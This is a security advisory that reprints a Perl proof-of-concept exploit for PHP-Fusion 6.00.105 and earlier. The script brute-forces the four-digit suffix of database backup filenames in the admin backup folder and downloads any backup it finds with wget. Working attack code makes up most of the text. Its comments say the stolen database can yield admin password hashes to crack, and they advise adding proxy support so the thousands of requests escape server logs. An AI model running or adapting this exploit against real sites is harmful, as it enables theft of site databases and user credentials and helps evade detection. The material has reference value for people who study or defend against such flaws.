[EXPL] PHP-Fusion Accessible Database Backups Download (Exploit)

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  PHP-Fusion Accessible Database Backups Download (Exploit)
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SUMMARY

" <http://www.php-fusion.co.uk/> PHP-Fusion is a light-weight open-source 
content management system (CMS) written in PHP. It utilizes a mySQL 
database to store your site content and includes a simple, comprehensive 
administration system."

By guessing the year-month-day of a database backup file and the random 
number 4 digit number given to the file, a remote attacker can retrieve it 
and extract the content found in it. The following exploit will try to 
guess the  random  number given and retrieve the database.

DETAILS

Vulnerable Systems:
 * PHP-Fusion versions 6.00.105 and prior

Exploit:
 #!/usr/bin/perl
 ###########################
 # D A R K A S S A S S I N S C R E W 2 0 0 5 #
 ###########################
 # Dark Assassins - http://dark-assassins.com/ #
 # Visit us on IRC @ irc.tddirc.net #DarkAssassins #
 ###########################
 # phpfusiondb.pl; Version 0.1 22/06/05 #
 # PHP-Fusion db backup proof-of-concept by Easyex #
 # Database backup vuln in v6.00.105 and below #
 ###########################
 # Description: When a db (database) backup is made #
 # it is saved in /administration/db_backups/ on 6.0 #
 # and on 5.0 it is saved in /fusion_admin/db_backups/#
 # The backup file can be saved in 2 formats: .sql or #
 # .sql.gz and is hidden by a blank index.php file but#
 # can be downloaded client-side, The filename is for #
 # example : backup_2005-06-22_2208.sql.gz so what we #
 # can do is generate 0001 to 9999 and request the #
 # file and download it. If a db file is found an #
 # attacker can get the admin hash and crack it or #
 # retrieve other sensitive information from the db! #
 ###########################

 # 9999 requests to the host is alot, And would get noticed in the server 
log!
 # If you re-coded your own script with proxy support you would be fine.
 # You need to know the backup year-month-day to be able to find a backup 
file unless the server is set to automaticlly
 # backup the php-fusiondatabase.

 my $wget='wget';

 my $count='0';

 my $target;

 if (@ARGV < 4)
{
 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";
 print "Usage: phpfusiondb.pl <host> <version> <file> <extension>\n";
 print "Example: phpfusiondb.pl example.com 6 backup_2005-06-23_ 
sql.gz\n";
 print "\n";
 exit();
}

 my $host = $ARGV[0];
 my $ver = $ARGV[1];
 my $file = $ARGV[2];
 my $extension = $ARGV[3];

 if ($ver eq "6") {
       $dir='/administration/db_backups/'; # Directory path to the 6.X 
backup folder
 }

 if ($ver eq "5") {
       $dir='/fusion_admin/db_backups/'; # Directory path to the 5.X 
backup folder
}

 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";

 print "Host: $host\n";
 print "Directory: $dir\n";
 print "File: $file + 0001 to 9999\n";
 print "Extension: $extension\n";
 print "\n";
 print "Attempting to find a db backup file on $host\n";

 for($count=0;$count<9999;$count++) {

    $target=$host.$dir.$file.sprintf("%04d", $count).$extension;

    system("$wget $target");
 }


ADDITIONAL INFORMATION

The information has been provided by Easyex.
The original article can be found at:  <http://dark-assassins.com/> 
http://dark-assassins.com/



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